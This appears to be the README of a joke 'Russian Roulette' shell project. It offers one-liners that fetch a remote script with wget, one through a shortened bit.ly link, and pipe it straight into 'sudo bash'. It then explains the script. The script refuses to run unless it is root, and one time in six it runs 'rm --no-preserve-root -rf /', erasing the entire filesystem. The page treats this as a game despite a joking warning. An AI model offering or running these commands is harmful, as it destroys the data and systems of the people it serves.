See also the nasty git version of it: git-russian-roulette
You want to push your luck, or you're just extremely bored? OK – that's great!
Go ahead and challenge your luck with this awesome command line based Russian Roulette:
wget http://bit.ly/1Wa0uTo -O - | sudo bash
Or without the shortened URL:
wget https://raw.githubusercontent.com/timofurrer/russian-roulette/master/russian-roulette -O - | sudo bash
wget https://raw.githubusercontent.com/timofurrer/russian-roulette/master/install.sh -O - | sudo bash # use it with: sudo russian-roulette
docker, because docker:
docker build . -t russian-roulette docker run --rm -it russian-roulette
Install by cloning git repository:
git clone https://github.com/timofurrer/russian-roulette cd russian-roulette sudo make install
Officially supported shells:
I'd be more than happy to accept pull requests to support other shells!
... of course there are use cases:
- to challenge your luck
- to kill time
- to use as a drinking game
- and a looooot more
Just for the record...
...don't be stupid and play Russian Roulette – ever!
...what? You already played and lost? Well, better for you that you haven't made this decision with a loaded gun!
...and yes, it really does try to remove your entire system ...
But what does it actually do?
If you don't know what the script does, you really shouldn't be playing with it!
Let's break it down:
[ "$EUID" -ne 0 ] && echo "Seriously?! What a p***y, how about playing as root?" && exit
That line checks to see which user you're running the script as. If you're not playing as the root user with full permissions, nothing too bad will happen, so what's even the point in playing?! The script will then cease to run.
[ $(( $RANDOM % 6 )) -eq 0 ] && rm --no-preserve-root -rf / || echo "click"
This is the meat of the game. It generates a random number and gets the remainder after dividing by 6.
If the result is anything but 0, then your console will echo out a haunting, resounding "click"...
If the result is 0 (i.e., the random number was the loaded chamber) then it will execute the
rm command which recursively and forcibly (which is what the
-rf flags mean) removes all files and directories under your root directory (
/) on the system.
--no-preserve-root option is there to override the safety measure that would otherwise stop you from deleting the really important system files. You know, in case you were to do something stupid and play Russian Roulette with your hard drive...